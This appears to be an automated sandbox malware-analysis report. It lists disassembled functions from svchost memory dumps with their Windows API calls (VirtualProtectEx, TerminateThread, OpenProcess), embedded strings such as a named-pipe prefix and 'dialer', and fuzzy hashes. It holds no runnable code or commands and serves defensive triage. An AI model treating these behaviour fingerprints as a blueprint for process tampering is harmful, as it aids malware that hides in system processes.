Source File: 00000042.00000002.3308827903.00000257E10A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000257E10A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_66_2_257e10a0000_svchost.jbxd

Similarity

API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_release_startup_lock
String ID:
API String ID: 190073905-0
Opcode ID: 0257f947f8d22f27d89668d16c5c48cc6f3519c7a2ac610662f1932688afbc32
Instruction ID: 1fcdb397b1644b17d16c1eb1e9d437d376732d2965c1ff5ed4ddc4445df92217
Opcode Fuzzy Hash: 0257f947f8d22f27d89668d16c5c48cc6f3519c7a2ac610662f1932688afbc32
Instruction Fuzzy Hash: 168117317CCF4186FB5FAB65BC4B39926D0BB89782F44C4A5DA0447396FB3AC4458728

Function 00000257E10A9DC4 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 88libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32 ref: 00000257E10A9E49
GetLastError.KERNEL32 ref: 00000257E10A9E57
LoadLibraryExW.KERNEL32 ref: 00000257E10A9E81
FreeLibrary.KERNEL32 ref: 00000257E10A9EC7
GetProcAddress.KERNEL32 ref: 00000257E10A9ED3

Strings

api-ms-, xrefs: 00000257E10A9E69

Memory Dump Source

Source File: 00000042.00000002.3308827903.00000257E10A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000257E10A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_66_2_257e10a0000_svchost.jbxd

Similarity

API ID: Library$Load$AddressErrorFreeLastProc
String ID: api-ms-
API String ID: 2559590344-2084034818
Opcode ID: 57a387126f3cdca2e6377dd9e1e04e2dfecb224b041c0cba2ac35bf939624b8e
Instruction ID: 1ca0844d76c3e8bd01ab4792baa35eba0e52544e90a3a5dfd8280d08fd67e20c
Opcode Fuzzy Hash: 57a387126f3cdca2e6377dd9e1e04e2dfecb224b041c0cba2ac35bf939624b8e
Instruction Fuzzy Hash: CB31F63139AF00E1EE1BDB02BC0BB5523D4B748BA2F5905659E2F4B792DF38C0458328

Function 00000257E10B3DB4 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48fileCOMMON

Download Yara Rule

APIs

WriteConsoleW.KERNEL32 ref: 00000257E10B3DE5
GetLastError.KERNEL32 ref: 00000257E10B3DF1
CloseHandle.KERNEL32 ref: 00000257E10B3E09
CreateFileW.KERNEL32 ref: 00000257E10B3E34
WriteConsoleW.KERNEL32 ref: 00000257E10B3E53

Strings

CONOUT$, xrefs: 00000257E10B3E15

Memory Dump Source

Source File: 00000042.00000002.3308827903.00000257E10A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000257E10A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_66_2_257e10a0000_svchost.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast
String ID: CONOUT$
API String ID: 3230265001-3130406586
Opcode ID: ea8503a65e9befc0d33d9332805196394b6329e0df61646a9863ad39bb9ae76f
Instruction ID: 9ee7c4574fcb2fd013fb964aa6248de50fe65bdbb00ad364504beb63cc9ade48
Opcode Fuzzy Hash: ea8503a65e9befc0d33d9332805196394b6329e0df61646a9863ad39bb9ae76f
Instruction Fuzzy Hash: 3111BF31358F4086E756CB12FC4BB1972A4F388FE6F180265EA2A87794CF38C8148748

Function 00000257E10A3790 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 44COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 00000257E10A379E
GetCurrentProcess.KERNEL32 ref: 00000257E10A37CC
VirtualProtectEx.KERNEL32 ref: 00000257E10A37EE
GetCurrentProcess.KERNEL32 ref: 00000257E10A3809
VirtualProtectEx.KERNEL32 ref: 00000257E10A382A

Strings

wr, xrefs: 00000257E10A37FF

Memory Dump Source

Source File: 00000042.00000002.3308827903.00000257E10A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000257E10A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_66_2_257e10a0000_svchost.jbxd

Similarity

API ID: CurrentProcessProtectVirtual$HandleModule
String ID: wr
API String ID: 1092925422-2678910430
Opcode ID: d5ed198cecc284837a9554765ab7ffb778fa62629811cf0fe5ebc999f83bf42b
Instruction ID: 9a2b3325603176c98f4169559021404f9569204c8e58316270e8b4dcf71a70dc
Opcode Fuzzy Hash: d5ed198cecc284837a9554765ab7ffb778fa62629811cf0fe5ebc999f83bf42b
Instruction Fuzzy Hash: 60118B36348F4086EF199B22F80E76A62B4FB88B86F040468DE990B794EF3DC545C718

Function 00000257E10A5B30 Relevance: 9.2, APIs: 6, Instructions: 240threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 00000257E10A5B6B
GetThreadContext.KERNEL32 ref: 00000257E10A5CD5

Part of subcall function 00000257E10A5960: GetCurrentThreadId.KERNEL32 ref: 00000257E10A5964

Memory Dump Source

Source File: 00000042.00000002.3308827903.00000257E10A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000257E10A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_66_2_257e10a0000_svchost.jbxd

Similarity

API ID: Thread$Current$Context
String ID:
API String ID: 1666949209-0
Opcode ID: 542e600666cb1ac52823d1f72aa5ca11f47e3ee1f4dc73a6c07a176fbafbfe1c
Instruction ID: 966c8cfc9cd363fdfda02b2bdcc18e9b8abbeec9a729aea55c5a0fc7a420839d
Opcode Fuzzy Hash: 542e600666cb1ac52823d1f72aa5ca11f47e3ee1f4dc73a6c07a176fbafbfe1c
Instruction Fuzzy Hash: E6D1C976248F88C1DA75DB0AF89A35A77A0F388B85F104252EACD47BA9DF3CC551CB14

Function 00000257E10A2F04 Relevance: 9.1, APIs: 5, Strings: 1, Instructions: 93memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00000257E10A2F27
HeapAlloc.KERNEL32 ref: 00000257E10A2F3A
StrCmpNIW.SHLWAPI ref: 00000257E10A2FAF
GetProcessHeap.KERNEL32 ref: 00000257E10A3015
HeapFree.KERNEL32 ref: 00000257E10A3023

Strings

dialer, xrefs: 00000257E10A2FA8

Memory Dump Source

Source File: 00000042.00000002.3308827903.00000257E10A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000257E10A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_66_2_257e10a0000_svchost.jbxd

Similarity

API ID: Heap$Process$AllocFree
String ID: dialer
API String ID: 756756679-3528709123
Opcode ID: 2e24de9146afbba5105044d4fd5602f1f9f0ed558a5ed62472976580c3eaf0ad
Instruction ID: cdb653347486f95d6936b3a6e080e65dbc29c48c69199ff8dba1e233120f6aa2
Opcode Fuzzy Hash: 2e24de9146afbba5105044d4fd5602f1f9f0ed558a5ed62472976580c3eaf0ad
Instruction Fuzzy Hash: CF31D232389F5186EA1ACF16FD4BB69A7A4FB44B86F084170AE4847B55EF34C4A18314

Function 00000257E10ACFA0 Relevance: 9.1, APIs: 6, Instructions: 57COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 00000257E10ACFAF
FlsSetValue.KERNEL32(?,?,?,00000257E10AD6B5,?,?,?,?,00000257E10AD778), ref: 00000257E10ACFE5
FlsSetValue.KERNEL32(?,?,?,00000257E10AD6B5,?,?,?,?,00000257E10AD778), ref: 00000257E10AD012
FlsSetValue.KERNEL32(?,?,?,00000257E10AD6B5,?,?,?,?,00000257E10AD778), ref: 00000257E10AD023
FlsSetValue.KERNEL32(?,?,?,00000257E10AD6B5,?,?,?,?,00000257E10AD778), ref: 00000257E10AD034
SetLastError.KERNEL32 ref: 00000257E10AD04F

Memory Dump Source

Source File: 00000042.00000002.3308827903.00000257E10A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000257E10A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_66_2_257e10a0000_svchost.jbxd

Similarity

API ID: Value$ErrorLast
String ID:
API String ID: 2506987500-0
Opcode ID: 4f148fb448054b99fdb5313590ff83f86fc6d8762bc770a772f95ba4b575ef67
Instruction ID: bbc7888f5e4037d8188519172c2121bad00389fe15c94999cae900f3cde1423e
Opcode Fuzzy Hash: 4f148fb448054b99fdb5313590ff83f86fc6d8762bc770a772f95ba4b575ef67
Instruction Fuzzy Hash: A4114D703C8F8081FA6E97317E4F76D21516B487E2F1447A4B936466E6DE78C4018728

Function 00000257E10A199C Relevance: 9.0, APIs: 6, Instructions: 42stringCOMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32 ref: 00000257E10A19C2
K32GetModuleFileNameExW.KERNEL32 ref: 00000257E10A19E0
PathFindFileNameW.SHLWAPI ref: 00000257E10A19EF
lstrlenW.KERNEL32 ref: 00000257E10A19FB
StrCpyW.SHLWAPI ref: 00000257E10A1A0E
CloseHandle.KERNEL32 ref: 00000257E10A1A1C

Memory Dump Source

Source File: 00000042.00000002.3308827903.00000257E10A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000257E10A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_66_2_257e10a0000_svchost.jbxd

Similarity

API ID: FileName$CloseFindHandleModuleOpenPathProcesslstrlen
String ID:
API String ID: 517849248-0
Opcode ID: 01214db588610ff501214a343c1506f8e4016efad0e64bbd234dc336c45f59d3
Instruction ID: 4c54e0cd68b01bb03e9099f5d5445d1d048295c9e60c374dc5866ed19de68462
Opcode Fuzzy Hash: 01214db588610ff501214a343c1506f8e4016efad0e64bbd234dc336c45f59d3
Instruction Fuzzy Hash: 48015731348F4082EA19DB52B89AB5A63A5F788FC2F888475DE5A43754DE38C989C704

Function 00000257E10A36C8 Relevance: 9.0, APIs: 6, Instructions: 38threadCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 00000257E10A36E4
GetCurrentProcess.KERNEL32 ref: 00000257E10A36F2
VirtualProtectEx.KERNEL32 ref: 00000257E10A3714
GetCurrentProcess.KERNEL32 ref: 00000257E10A3732
VirtualProtectEx.KERNEL32 ref: 00000257E10A3753
TerminateThread.KERNEL32 ref: 00000257E10A3762

Memory Dump Source

Source File: 00000042.00000002.3308827903.00000257E10A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000257E10A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_66_2_257e10a0000_svchost.jbxd

Similarity

API ID: CurrentProcessProtectVirtual$HandleModuleTerminateThread
String ID:
API String ID: 449555515-0
Opcode ID: 4c9ec6165d8c5af47ee19c29b3e549fd6cc17b885c385019f049dc0dac4977bc
Instruction ID: f5791e389f93502f4c9fee8c8b73c305a7e67720a75c226d159784ea1be0102c
Opcode Fuzzy Hash: 4c9ec6165d8c5af47ee19c29b3e549fd6cc17b885c385019f049dc0dac4977bc
Instruction Fuzzy Hash: 47011775259F4086EB2ADB22FC1F71A66B0BB99B87F0404A4DA5907764EF3DC148CB18

Function 00000257E10A9005 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 135COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00000257E10A9013
_IsNonwritableInCurrentImage.LIBCMT ref: 00000257E10A90A8
RtlUnwindEx.NTDLL ref: 00000257E10A90F7

Strings

csm, xrefs: 00000257E10A908E
f, xrefs: 00000257E10A9026

Memory Dump Source

Source File: 00000042.00000002.3308827903.00000257E10A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000257E10A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_66_2_257e10a0000_svchost.jbxd

Similarity

API ID: CurrentImageNonwritableUnwind__except_validate_context_record
String ID: csm$f
API String ID: 2395640692-629598281
Opcode ID: 114af5d7cf0438a1297bb8b9b6869ba79c6078414514cf9bb502ab9f42d0baed
Instruction ID: dfda00a6953bd7fd31afee440e3a8cdc3f116b40ca32194e381a607924f2b4fb
Opcode Fuzzy Hash: 114af5d7cf0438a1297bb8b9b6869ba79c6078414514cf9bb502ab9f42d0baed
Instruction Fuzzy Hash: 4C51A132749B008AEB1EDB25FC4FB593796F344B89F1081A8DA1747788EB75E981C718

Function 00000257E10A8FE8 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 75COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00000257E10A9013
_IsNonwritableInCurrentImage.LIBCMT ref: 00000257E10A90A8
RtlUnwindEx.NTDLL ref: 00000257E10A90F7

Strings

csm, xrefs: 00000257E10A908E
f, xrefs: 00000257E10A9026

Memory Dump Source

Source File: 00000042.00000002.3308827903.00000257E10A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000257E10A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_66_2_257e10a0000_svchost.jbxd

Similarity

API ID: CurrentImageNonwritableUnwind__except_validate_context_record
String ID: csm$f
API String ID: 2395640692-629598281
Opcode ID: 0036035fc280b7a5a111a049c7edfc77b7be6b9ab52e14187ebc45e366edaa55
Instruction ID: 7996f0918551bbe49c81effb0a51052158cdeed2e265b154e812129fb940380b
Opcode Fuzzy Hash: 0036035fc280b7a5a111a049c7edfc77b7be6b9ab52e14187ebc45e366edaa55
Instruction Fuzzy Hash: 7A317832388B409AE71ADB21FC4BB5937A5F340B8AF158158AE5747789DB39D980C718

Function 00000257E10A1A40 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 30stringCOMMON

Download Yara Rule

APIs

GetFinalPathNameByHandleW.KERNEL32 ref: 00000257E10A1A60
StrCmpNIW.SHLWAPI ref: 00000257E10A1A7A
lstrlenW.KERNEL32 ref: 00000257E10A1A89
StrCpyW.SHLWAPI ref: 00000257E10A1A9E

Strings

\\?\, xrefs: 00000257E10A1A6E

Memory Dump Source

Source File: 00000042.00000002.3308827903.00000257E10A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000257E10A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_66_2_257e10a0000_svchost.jbxd

Similarity

API ID: FinalHandleNamePathlstrlen
String ID: \\?\
API String ID: 2719912262-4282027825
Opcode ID: c1daab9146f2a1614ef605d22fd4f721266e20aa8a0235322e79b2424596649d
Instruction ID: d56e8e4ea1c63715ed7fae816492958a322087c5f1097162d2259ce4f6dc8c21
Opcode Fuzzy Hash: c1daab9146f2a1614ef605d22fd4f721266e20aa8a0235322e79b2424596649d
Instruction Fuzzy Hash: C2F06272348F4192EB65CF21FCDAB5A67A1F758BCAF848060DA4946954DF3CC68DCB04

Function 00000257E10ABC98 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 27libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32 ref: 00000257E10ABCBD
GetProcAddress.KERNEL32 ref: 00000257E10ABCD3
FreeLibrary.KERNEL32 ref: 00000257E10ABCFA

Strings

CorExitProcess, xrefs: 00000257E10ABCCC
mscoree.dll, xrefs: 00000257E10ABCB4

Memory Dump Source

Source File: 00000042.00000002.3308827903.00000257E10A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000257E10A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_66_2_257e10a0000_svchost.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 0f45d19500fbd6816ab24c8a126c5dacde8056cea587c59ff890217df17fdf5d
Instruction ID: a1c3fc9fb2c424eb5cf16538e388777059fc8f0e0a0ae8e1d12dd053b8120eaf
Opcode Fuzzy Hash: 0f45d19500fbd6816ab24c8a126c5dacde8056cea587c59ff890217df17fdf5d
Instruction Fuzzy Hash: D9F06271359F0481EB1ACB29FC4FB6A6321FB88BA2F540299DA6A461E4DF3CC4448354

Function 00000257E10A3044 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 27COMMON

Download Yara Rule

APIs

StrCmpIW.SHLWAPI ref: 00000257E10A3066
StrCpyW.SHLWAPI ref: 00000257E10A3076
StrCatW.SHLWAPI ref: 00000257E10A3082
PathCombineW.SHLWAPI ref: 00000257E10A3090

Strings

\\.\pipe\, xrefs: 00000257E10A305C

Memory Dump Source

Source File: 00000042.00000002.3308827903.00000257E10A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000257E10A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_66_2_257e10a0000_svchost.jbxd

Similarity

API ID: CombinePath
String ID: \\.\pipe\
API String ID: 3422762182-91387939
Opcode ID: 8c685e1f0b85bfe06f91eeefbd03c12bff8419d51c8b157116edbf6ca1c9c829
Instruction ID: 6788c6199675c10edf7c539ab1b1bd7f0a961ca82cbb9ee56a1611471c4650f0
Opcode Fuzzy Hash: 8c685e1f0b85bfe06f91eeefbd03c12bff8419d51c8b157116edbf6ca1c9c829
Instruction Fuzzy Hash: E1F08C2038DF8482EA49CF13BD1F619A260AB48FC2F0880B0EE6A07B18DF3CC4458708

Function 00000257E10A50D0 Relevance: 7.8, APIs: 5, Instructions: 318threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 00000257E10A5156

Memory Dump Source

Source File: 00000042.00000002.3308827903.00000257E10A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000257E10A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_66_2_257e10a0000_svchost.jbxd

Similarity

API ID: CurrentThread
String ID:
API String ID: 2882836952-0
Opcode ID: e13ad259af2044a9722e5c88be2fea28068701e2040856c8b7ebe2328a6e9181
Instruction ID: 3bab7aea2da97d2c89cf869e435822f7947a441c0eb5686131a233f6f073e29f
Opcode Fuzzy Hash: e13ad259af2044a9722e5c88be2fea28068701e2040856c8b7ebe2328a6e9181
Instruction Fuzzy Hash: 8702F67225DB8086EBA5CB59F89635AB7A0F3C4785F104055EA8E87BA8DF7CC484CF14

Function 00000257E10A5710 Relevance: 7.6, APIs: 5, Instructions: 124threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 00000257E10A5726

Memory Dump Source

Source File: 00000042.00000002.3308827903.00000257E10A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000257E10A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_66_2_257e10a0000_svchost.jbxd

Similarity

API ID: CurrentThread
String ID:
API String ID: 2882836952-0
Opcode ID: b02f694671304b5a077fe24bce3094f0c3b02718cee177a37b7a7da192a85efa
Instruction ID: 7c0b0c8c25f7da43d0dd52c625788ab6d70cb4887c3805681c3f7a601031dd5b
Opcode Fuzzy Hash: b02f694671304b5a077fe24bce3094f0c3b02718cee177a37b7a7da192a85efa
Instruction Fuzzy Hash: E261C77655DF40C6E76A8B1AF84A31AB7E0F388785F100155EA8E47BA8DB7CC444CF18

Function 00000257E1083504 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 00000257E108352C
_set_statfp.LIBCMT ref: 00000257E1083547
_set_statfp.LIBCMT ref: 00000257E1083563
_set_statfp.LIBCMT ref: 00000257E108359F

Memory Dump Source

Source File: 00000042.00000002.3308766980.00000257E1070000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000257E1070000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_66_2_257e1070000_svchost.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
Instruction ID: a39f79cb811ea4c1becf5d789feaa45f4274d3385c809976c6f2e92f2461cad1
Opcode Fuzzy Hash: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
Instruction Fuzzy Hash: B911A7226DCF1119FA5E1529FC4F3693180EBD9376F4846B8A9660EFDACA78C8414228

Function 00000257E10B4104 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 00000257E10B412C
_set_statfp.LIBCMT ref: 00000257E10B4147
_set_statfp.LIBCMT ref: 00000257E10B4163
_set_statfp.LIBCMT ref: 00000257E10B419F

Memory Dump Source

Source File: 00000042.00000002.3308827903.00000257E10A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000257E10A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_66_2_257e10a0000_svchost.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
Instruction ID: 9bd224d7f8937e48dcb23c6a92691f7b715b7476c5eb2bebaeb9097fbf750117
Opcode Fuzzy Hash: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
Instruction Fuzzy Hash: 3011A722FDCF5021F66E9568FC5FB6911406B783B6F180EA4A577876D6CA34CB41811C

Function 00000257E107F040 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 182COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00000257E107F124

Strings

Wednesday, xrefs: 00000257E107F1ED
or copy constructor iterator', xrefs: 00000257E107F25A, 00000257E107F275
Tuesday, xrefs: 00000257E107F0F4

Memory Dump Source

Source File: 00000042.00000002.3308766980.00000257E1070000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000257E1070000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_66_2_257e1070000_svchost.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: Tuesday$Wednesday$or copy constructor iterator'
API String ID: 3215553584-4202648911
Opcode ID: 9e57f18f61c22f0406784eb273be7b0d6046b42052b72e443b30de0c50228f55
Instruction ID: 8e9c97b707987eaf443330098e57a4151393cd7d99a53dd1af56ba60a02a01f1
Opcode Fuzzy Hash: 9e57f18f61c22f0406784eb273be7b0d6046b42052b72e443b30de0c50228f55
Instruction Fuzzy Hash: 7561D63268CF4042F66FFB69FD4F3B966A1F782742F514495DA2A07795DB34C8428308

Function 00000257E10AAA1C Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 147COMMON

Download Yara Rule

APIs

EncodePointer.KERNEL32 ref: 00000257E10AAA68
_CallSETranslator.LIBVCRUNTIME ref: 00000257E10AAAB7

Strings

MOC, xrefs: 00000257E10AAA7C
RCC, xrefs: 00000257E10AAA85

Memory Dump Source

Source File: 00000042.00000002.3308827903.00000257E10A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000257E10A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_66_2_257e10a0000_svchost.jbxd

Similarity

API ID: CallEncodePointerTranslator
String ID: MOC$RCC
API String ID: 3544855599-2084237596
Opcode ID: c123fbbb8780cd52d1c7b069b1b1cc678e7e4f5673d54000f6e5fbfac7098139
Instruction ID: 84adbe2866ac1e2fb66f4364389380746c042a873a352a778f6fc0d74beb4a81
Opcode Fuzzy Hash: c123fbbb8780cd52d1c7b069b1b1cc678e7e4f5673d54000f6e5fbfac7098139
Instruction Fuzzy Hash: E961BD33608F88CAEB29DF65E88639D77A0F358B89F044255EF4A17B99DB38C084C714

Function 00000257E107A178 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 145COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00000257E107A1A0
__FrameHandler3::FrameUnwindToEmptyState.LIBVCRUNTIME ref: 00000257E107A288

Strings

csm, xrefs: 00000257E107A2DA
csm, xrefs: 00000257E107A1C2

Memory Dump Source

Source File: 00000042.00000002.3308766980.00000257E1070000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000257E1070000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_66_2_257e1070000_svchost.jbxd

Similarity

API ID: Frame$EmptyHandler3::StateUnwind__except_validate_context_record
String ID: csm$csm
API String ID: 3896166516-3733052814
Opcode ID: b607b9418e38c48ebb6f53552568b8ff7a3aff5a85fd43f0b6d07fa9fad214e5
Instruction ID: 83f5e9c311c848ec4fd2a0c7c7ec5783ac5279642614553dd1b91d6c427617f7
Opcode Fuzzy Hash: b607b9418e38c48ebb6f53552568b8ff7a3aff5a85fd43f0b6d07fa9fad214e5
Instruction Fuzzy Hash: 0E51D432148B80CAEB7AAF25B84B37877A0F354B86F1C8155FA8947BD5CB78D491C708

Function 00000257E10AAD78 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 145COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00000257E10AADA0
__FrameHandler3::FrameUnwindToEmptyState.LIBVCRUNTIME ref: 00000257E10AAE88

Strings

csm, xrefs: 00000257E10AAEDA
csm, xrefs: 00000257E10AADC2

Memory Dump Source

Source File: 00000042.00000002.3308827903.00000257E10A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000257E10A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_66_2_257e10a0000_svchost.jbxd

Similarity

API ID: Frame$EmptyHandler3::StateUnwind__except_validate_context_record
String ID: csm$csm
API String ID: 3896166516-3733052814
Opcode ID: b607b9418e38c48ebb6f53552568b8ff7a3aff5a85fd43f0b6d07fa9fad214e5
Instruction ID: ff1a59e2cae9877e41fdea86006ac35bc3c2ac676c8524eb9a1b3888c61eb4ec
Opcode Fuzzy Hash: b607b9418e38c48ebb6f53552568b8ff7a3aff5a85fd43f0b6d07fa9fad214e5
Instruction Fuzzy Hash: 6351E172188B80CAEB7D8F65B88B35D77A4F354B86F148156DB8A47BD5CB38C490C718

Function 00000257E1078405 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 135COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00000257E1078413
_IsNonwritableInCurrentImage.LIBCMT ref: 00000257E10784A8

Strings

csm, xrefs: 00000257E107848E
f, xrefs: 00000257E1078426

Memory Dump Source

Source File: 00000042.00000002.3308766980.00000257E1070000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000257E1070000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_66_2_257e1070000_svchost.jbxd

Similarity

API ID: CurrentImageNonwritable__except_validate_context_record
String ID: csm$f
API String ID: 3242871069-629598281
Opcode ID: 114af5d7cf0438a1297bb8b9b6869ba79c6078414514cf9bb502ab9f42d0baed
Instruction ID: ee813d9cd048edd468e5633751c041e363784de44c713b5dfd16f397443d62c2
Opcode Fuzzy Hash: 114af5d7cf0438a1297bb8b9b6869ba79c6078414514cf9bb502ab9f42d0baed
Instruction Fuzzy Hash: 5A51D272749B008AEB5EEF15F80BB283795F350B99F5581A6DA064778CEB74DCC08708

Function 00000257E10783E8 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 75COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00000257E1078413
_IsNonwritableInCurrentImage.LIBCMT ref: 00000257E10784A8

Strings

csm, xrefs: 00000257E107848E
f, xrefs: 00000257E1078426

Memory Dump Source

Source File: 00000042.00000002.3308766980.00000257E1070000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000257E1070000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_66_2_257e1070000_svchost.jbxd

Similarity

API ID: CurrentImageNonwritable__except_validate_context_record
String ID: csm$f
API String ID: 3242871069-629598281
Opcode ID: 0036035fc280b7a5a111a049c7edfc77b7be6b9ab52e14187ebc45e366edaa55
Instruction ID: fef70a26cb8617019fb27fbb8b1d28829320fb28e202bfa77e2c679c26842ebd
Opcode Fuzzy Hash: 0036035fc280b7a5a111a049c7edfc77b7be6b9ab52e14187ebc45e366edaa55
Instruction Fuzzy Hash: 7A31A271249B40D6E71AEF21FC4B72977A4F340B9AF158059EE5A07B88DB38C980C708

Function 00000257E10B2058 Relevance: 6.3, APIs: 4, Instructions: 299fileCOMMON

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32 ref: 00000257E10B20D7
WriteFile.KERNEL32 ref: 00000257E10B239F
WriteFile.KERNEL32 ref: 00000257E10B23E5
GetLastError.KERNEL32 ref: 00000257E10B249B

Memory Dump Source

Source File: 00000042.00000002.3308827903.00000257E10A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000257E10A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_66_2_257e10a0000_svchost.jbxd

Similarity

API ID: FileWrite$ConsoleErrorLastOutput
String ID:
API String ID: 2718003287-0
Opcode ID: 3a35214534a53fd0655822596b90f4932f5655332a96a267e8fac8abb8670521
Instruction ID: 68dab6fe74a75fbd6536b3dcbd820ba112786e56dfb684d69ab30bb7c3da5d7e
Opcode Fuzzy Hash: 3a35214534a53fd0655822596b90f4932f5655332a96a267e8fac8abb8670521
Instruction Fuzzy Hash: 69D13032B58F8089E716CFB9E84A79C3BB1F354B99F008256CE5997B99DB38D406C344

Function 00000257E10A14A4 Relevance: 6.3, APIs: 5, Instructions: 37memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00000257E10A14C5
HeapFree.KERNEL32 ref: 00000257E10A14D4
GetProcessHeap.KERNEL32 ref: 00000257E10A14E1
HeapFree.KERNEL32 ref: 00000257E10A14F0
GetProcessHeap.KERNEL32 ref: 00000257E10A1500

Memory Dump Source

Source File: 00000042.00000002.3308827903.00000257E10A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000257E10A0000, based on PE: true

Joe Sandbox IDA Plugin

